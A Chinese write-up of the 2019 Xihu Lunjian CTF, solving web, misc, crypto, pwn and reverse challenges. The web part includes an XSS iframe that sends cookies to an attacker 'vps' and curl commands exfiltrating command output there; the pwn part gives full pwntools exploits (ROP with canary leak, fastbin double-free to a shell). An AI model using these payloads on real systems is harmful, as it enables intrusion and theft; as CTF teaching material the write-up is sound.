西湖论剑2019 wp

web

babyyt3

查看页面源代码发现提示dir.php

利用php://filter/read=convert.quoted-printable-encode/resource=伪协议来读php文件的源码

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>

dir.php

1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

view-source:http://ctf3.linkedbyx.com:11260/dir.php?dir=/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
array(25) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) ".dockerenv"
[3]=>
string(3) "bin"
[4]=>
string(4) "boot"
[5]=>
string(3) "dev"
[6]=>
string(3) "etc"
[7]=>
string(16) "ffffflag_1s_Her4"
[8]=>
string(4) "home"
[9]=>
string(3) "lib"
[10]=>
string(5) "lib64"
[11]=>
string(5) "media"
[12]=>
string(3) "mnt"
[13]=>
string(7) "my_init"
[14]=>
string(10) "my_service"
[15]=>
string(3) "opt"
[16]=>
string(4) "proc"
[17]=>
string(4) "root"
[18]=>
string(3) "run"
[19]=>
string(4) "sbin"
[20]=>
string(3) "srv"
[21]=>
string(3) "sys"
[22]=>
string(3) "tmp"
[23]=>
string(3) "usr"
[24]=>
string(3) "var"
}

发现ffffflag_1s_Her4,文件包含直接读得到flagflag{8dc25fd21c52958f777ce92409e2802a}

Breakout

html entity 编码+Bookmarklet打 cookie

1
<iframe src="javascrip&#x74;:location.href='http://vps/c.php?1='+document.cookie">

vps 端

1
2
3
4
5
6
7
<?php

if (isset($_GET[1]))
{
file_put_contents('/tmp/con.txt',$_GET[1]);
}
?>

得到 admin 的 cookie,执行命令

在 vps 上用 python 起个 http 服务
python -m SimpleHTTPServer 9001

curl + ` 带出命令回显, 用 base64 编码空白符,得到所有结果

curl vps:9001=`ls | base64`

最后得到 flag

curl vps:9001?1=`cat /flag.txt | base64`

1
2
echo ZmxhZ3tmYTUxMzIwYWU4MDhjNzA0ODVkZDVmMzAzMzcwMjZkNn0= | base64 -D
flag{fa51320ae808c70485dd5f30337026d6}

猜猜flag是什么

扫目录得到 .DS_Store,利用 .DS_Store 文件泄漏得到以下目录

1
2
3
4
5
6
[+] http://ctf3.linkedbyx.com:11272/.DS_Store
[+] http://ctf3.linkedbyx.com:11272/yingyingying/.DS_Store
[+] http://ctf3.linkedbyx.com:11272/index.php/.DS_Store
[+] http://ctf3.linkedbyx.com:11272/flag
[+] http://ctf3.linkedbyx.com:11272/yingyingying/index.html
[+] http://ctf3.linkedbyx.com:11272/e10adc3949ba59abbe56e057f20f883e

e10adc3949ba59abbe56e057f20f883e 目录下还有 .git 源码泄露

利用 GitHack 得到

明文攻击拿到 hint

1
2
code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt

首页 GET 传入 code,得到 64560218,然后爆破随机数拿到种子

由提示访问 http://ctf3.linkedbyx.com:11272/flag/872367.txt 拿到 flag

flag{0730b6193000e9334b12cf7c95fbc736}

misc

最短的路

最短路径问题,使用python的networkx库

1
2
3
4
5
6
7
8
9
import networkx as nx

data=[('FloraPrice','E11'),('FloraPrice','E9'),('FloraPrice','75D}'),('NoraFayette','E11'),('NoraFayette','E10'),('NoraFayette','E13'),('NoraFayette','E12'),('NoraFayette','E14'),('NoraFayette','E9'),('NoraFayette','E7'),('NoraFayette','E6'),('E10','SylviaAvondale'),('E10','MyraLiddel'),('E10','HelenLloyd'),('E10','KatherinaRogers'),('VerneSanderson','E7'),('VerneSanderson','E12'),('VerneSanderson','E9'),('VerneSanderson','E8'),('E12','HelenLloyd'),('E12','KatherinaRogers'),('E12','SylviaAvondale'),('E12','MyraLiddel'),('E14','SylviaAvondale'),('E14','75D}'),('E14','KatherinaRogers'),('FrancesAnderson','E5'),('FrancesAnderson','E6'),('FrancesAnderson','E8'),('FrancesAnderson','E3'),('DorothyMurchison','E9'),('DorothyMurchison','E8'),('EvelynJefferson','E9'),('EvelynJefferson','E8'),('EvelynJefferson','E5'),('EvelynJefferson','E4'),('EvelynJefferson','E6'),('EvelynJefferson','E1'),('EvelynJefferson','E3'),('EvelynJefferson','E2'),('RuthDeSand','E5'),('RuthDeSand','E7'),('RuthDeSand','E9'),('RuthDeSand','E8'),('HelenLloyd','E11'),('HelenLloyd','E7'),('HelenLloyd','E8'),('OliviaCarleton','E11'),('OliviaCarleton','E9'),('EleanorNye','E5'),('EleanorNye','E7'),('EleanorNye','E6'),('EleanorNye','E8'),('E9','TheresaAnderson'),('E9','PearlOglethorpe'),('E9','KatherinaRogers'),('E9','SylviaAvondale'),('E9','MyraLiddel'),('E8','TheresaAnderson'),('E8','PearlOglethorpe'),('E8','KatherinaRogers'),('E8','SylviaAvondale'),('E8','BrendaRogers'),('E8','LauraMandeville'),('E8','MyraLiddel'),('E5','TheresaAnderson'),('E5','BrendaRogers'),('E5','LauraMandeville'),('E5','CharlotteMcDowd'),('E4','CharlotteMcDowd'),('E4','TheresaAnderson'),('E4','BrendaRogers'),('E7','TheresaAnderson'),('E7','SylviaAvondale'),('E7','BrendaRogers'),('E7','LauraMandeville'),('E7','CharlotteMcDowd'),('E6','TheresaAnderson'),('E6','PearlOglethorpe'),('E6','BrendaRogers'),('E6','LauraMandeville'),('E1','LauraMandeville'),('E1','BrendaRogers'),('E3','TheresaAnderson'),('E3','BrendaRogers'),('E3','LauraMandeville'),('E3','CharlotteMcDowd'),('E3','flag{'),('E2','LauraMandeville'),('E2','TheresaAnderson'),('KatherinaRogers','E13'),('E13','SylviaAvondale')]
G=nx.Graph()
G.add_edges_from(data)
print nx.shortest_path(G,'flag{', '75D}')

# ['flag{', 'E3', 'EvelynJefferson', 'E9', 'FloraPrice', '75D}']
# flag{E3EvelynJeffersonE9FloraPrice75D}

奇怪的TTL字段

搜索发现TTL信息隐藏技术

IP报文在路由间穿梭的时候每经过一个路由,TTL就会减1,当TTL为0的时候,该报文就会被丢弃。TTL所占的位数是8位,也就是0-255的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,远远比上限255小得多,所以我们可以用TTL值的前两位来进行传输隐藏数据。

所以取各TTL值的前两位作为有效值,八位为一组拼接起来,最后得到一张图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def decode(s):
return ''.join([hex(i)[2:] for i in [int(b,2) for b in s.split(' ')]])

with open("ttl.txt") as f:
cipher=f.read().replace('TTL=','').strip().split("\n")
ans=""
count=0
for i in cipher:
count+=2
ans+='{:08b}'.format(int(i))[:2]

if(count%8==0):
ans+=" "
# print ans
o=open("outfile1","wb")
o.write(decode(ans.strip()).decode("hex").decode("hex"))

foremost提取出另外六张图片,拼起来得到一张完整的二维码,扫描二维码得到又一个密文

AhTElT.png

1
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

自动密钥密码,找到在线解密网站解密
AhTApV.png

得到flagflag{2028ab39927df1d96e6a12b03e58002e}

crypto

hardgame

flag1

e=2,应该是rabin算法

这里直接用ctf-rsa-tool解出来了

AhbWAH.png

flag2

参考 https://xz.aliyun.com/t/3101#toc-2

分析des.py发现所有的明文都用一个八位大写的密钥加密

发现enc.txt中有些行末尾16位是一样的,猜出这是Padding

然后用hashcat爆破key,得到key为JFRYOMPR,然后解密,找到其中的flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
from pyDes import *
from random import choice
import string

# data=""
# with open("enc.txt","r") as f:
# for line in f.readlines():
# line=line.strip()
# if line[-16:] in data:
# print line[-16:]
# else:
# data+=line[-16:]

# hashcat -m 14000 ea9c3c12181a1e82:0808080808080808 -a 3 '?u?u?u?u?u?u?u?u' --force
# ea9c3c12181a1e82:0808080808080808:JFRYOMPR

Des_Key="JFRYOMPR"
def DesDecrypt(str):
k = des(Des_Key, ECB, pad=None, padmode=PAD_PKCS5)
return k.decrypt(str.decode('hex'))

with open("enc.txt","r") as f:
for line in f.readlines():
line=line.strip()
if 'flag' in DesDecrypt(line):
print DesDecrypt(line)

# flag2{Fuck_Y0u_cAn_Ge7_Se3ond}

final flag

密文(padding(填充f)后)每4个一组,然后进行rsa加密,格式化为512长度的无符号16进制,再与前256位异或加密

循环用fff的后一块异或前一块得到rsa的密文

RSA加密的明文长度极短只有4,可以用n和e遍历加密一遍,生成一个字典,然后根据密文,选择明文攻击

最后得到明文转为十进制,除以flag1和flag2的十进制,转为字符串得到flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import binascii
import collections
import hashlib
import os
import random
import string
import libnum
from Crypto.Util import number
from Crypto.Util.strxor import strxor
n=0x834b44a67ea419e1c3e665cedf7790ebc5fb013e2304861b667232e7ec1cae53eb253639b348a6702561671a5c5c9105eacd5d48de51427fc49f22ed2d9b60f98c50713ac95f2ac324fa58b90e0c07ab688becb771d92224be68474586376a4cd9a0ea96d5584184cbb7ad3889fd6c1a4ae3791e67a4ee6f220491abbbda2006addc6032999238cc010df759c868485522ee17e520569b7e746b0c770065f4622894afcfd46257b7c3646f15d65d561ab8e22e4f03cfbfa53ec4109115feeced84c398286bb79c58a7d640a2faec2c50285558d6b11d8ebc25eae6ece9c418dd795c0c11f459c815582c059935028cafb09b6603cc44a48f3823d0aeda73fec7
e=0x9ae923
lines = open('enc').readlines()
data = base64.b64decode(lines[2].strip())
dec = {}
for i in range(0x10000):
x = b'%.4x' % i
v = number.bytes_to_long(x)
dec[pow(v, e, n)] = x

raw = b''
for i in range(256, len(data), 256):
prev = data[i-256:i]
curr = int(strxor(prev, data[i:i+256]).encode('hex'), 16)
raw += dec[curr]
print int(raw,16)

# 27986825387514002798538383912081131475566543162137579401172191042750125107908441087413251015820210861806389728393697650617153840249390232988350337051361805316366207571850623437233875282392399874324580241938167857359699053670655913886905950020197

flag1 = int('flag1{Th1s_i5_wHat_You_ne3d_FirsT}'.encode('hex'),16)
flag2 = int('flag2{Fuck_Y0u_cAn_Ge7_Se3ond}'.encode('hex'),16)
flag=27986825387514002798538383912081131475566543162137579401172191042750125107908441087413251015820210861806389728393697650617153840249390232988350337051361805316366207571850623437233875282392399874324580241938167857359699053670655913886905950020197/flag1/flag2

print libnum.n2s(flag)

哈夫曼之谜

霍夫曼编码,手画 :(

AhOgBT.jpg

得到:

1
2
3
4
5
6
7
8
9
5	01
d 10
0 111
f 110
a 000
l 00111
g 00101
{ 00100
} 00110

根据密文,得到flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

pwn

story

栈溢出 + 格式化字符串获取 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

elf = ELF("./story")
libc = elf.libc
p = process("./story")

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400bd3
ret_addr = 0x4009a0

size = 0x90

p.recvuntil("Please Tell Your ID:")
p.sendline("%15$p")
p.recvuntil("Hello ")
canary = int(p.recvline()[2:],16)

p.recvuntil("Tell me the size of your story:\n")
p.sendline(str(size))
payload = 'a'*0x88+p64(canary)+'b'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
p.sendlineafter("You can speak your story:\n",payload)
libc_addr = u64(p.recvline()[:-1].ljust(8,'\x00'))-0x6f690

p.sendlineafter("Tell me the size of your story:\n",str(size))
system = libc.symbols['system']+libc_addr
bin_sh = libc.search('/bin/sh').next()+libc_addr
payload2 = 'a'*0x88+p64(canary)+'b'*8+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(ret_addr)
p.recvuntil("You can speak your story:\n")
p.sendline(payload2)
p.interactive()

noinfoleak

漏洞位于 delete 函数,free 一个堆块没有将指针置零,造成 UAF,由于只能分配小于 0x7f 的堆块,思路就是利用 UAF 控制 fastbin chunk 的 fd 指针,做 fastbin attack,由于全局指针数组中的 size 是可控的,所以可以劫持全局数组中的堆块指针和 size,将其指向 GOT 表中,修改 free 函数指针为 puts 达到泄露地址和获取 shell 的目的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
from pwn import *

p = process("./noinfoleak")

def add(length, content):
p.recvuntil(">")
p.sendline("1")
p.recvuntil(">")
p.sendline(str(length))
p.recvuntil(">")
p.sendline(content)

def delete(index):
p.recvuntil(">")
p.sendline("2")
p.recvuntil(">")
p.sendline(str(index))

def edit(index, content):
p.recvuntil(">")
p.sendline("3")
p.recvuntil(">")
p.sendline(str(index))
p.recvuntil(">")
p.sendline(content)

add(0x60, "aaaaaaaa") # 0
add(0x60, "bbbbbbbb") # 1
add(0x71, "cccccccc") # 2

delete(0)
delete(1)
delete(0) # 0-> 1 -> 0

add(0x60, p64(0x6010a0 + 0x20))
add(0x60, "bbbbbbbb")
add(0x60, p64(0x6010a0 + 0x20))
payload = p64(0x601018) + p64(0x7) + p64(0x601038) + p64(0x100)
add(0x60, payload)
payload2 = p64(0x4006b0)[:-1]
edit(3, payload2)
p.recv()
p.sendline("2")
p.recvuntil(">")
p.sendline("4")
sleep(5)
p.recv(1)
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x172970
log.info("libc: 0x%x" % libc_addr)
one_gadget = libc_addr + 0xf02a4
log.info("one_gadget: 0x%x" % one_gadget)
edit(3, p64(one_gadget))
p.sendline("2")
p.recvuntil(">")
p.sendline("4")
p.interactive()

reverse

easyCpp

主函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for ( j = 0; j <= 15; ++j )
{
LODWORD(v19) = fib(j);
std::vector<int,std::allocator<int>>::push_back(&vector1, &v19);// 16 nums
}
std::vector<int,std::allocator<int>>::push_back(&vector3, v20);
v3 = std::back_inserter<std::vector<int,std::allocator<int>>>(&vector3);
v4 = std::vector<int,std::allocator<int>>::end(&vector2);
v19 = std::vector<int,std::allocator<int>>::begin(&vector2);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&v19, 1LL);
std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
v5,
v4,
v3,
v20);
std::vector<int,std::allocator<int>>::vector(&v18);
std::vector<int,std::allocator<int>>::end(&vector3);
std::vector<int,std::allocator<int>>::begin(&vector3);
std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>(&v19);
std::vector<int,std::allocator<int>>::operator=(&vector4, &v19);
std::vector<int,std::allocator<int>>::~vector(&v19);
std::vector<int,std::allocator<int>>::~vector(&v18);
if ( std::operator!=<int,std::allocator<int>>(&vector4, &vector1) )
{
puts("You failed!");
exit(0);
}

通过调试可以发现,程序要求用户输入 16 个数字,然后将第一个数字依次加到后面所有数字上,再取倒序,最终要求结果等于斐波那契数列的前 16 项。

得出输入序列为

1
[987,-378,-611,-755,-844,-899,-933,-954,-967,-975,-980,-983,-985,-986,-987,-987]

输入程序即得 flag。 flag{987-377-843-953-979-985}

Testre

算法是 BASE58,从程序里能拿到编码后的数据,找一个在线解密的工具解密即可。

密文: D9cS9N9iHjMLTdA8YSMRMp

flag: base58_is_boring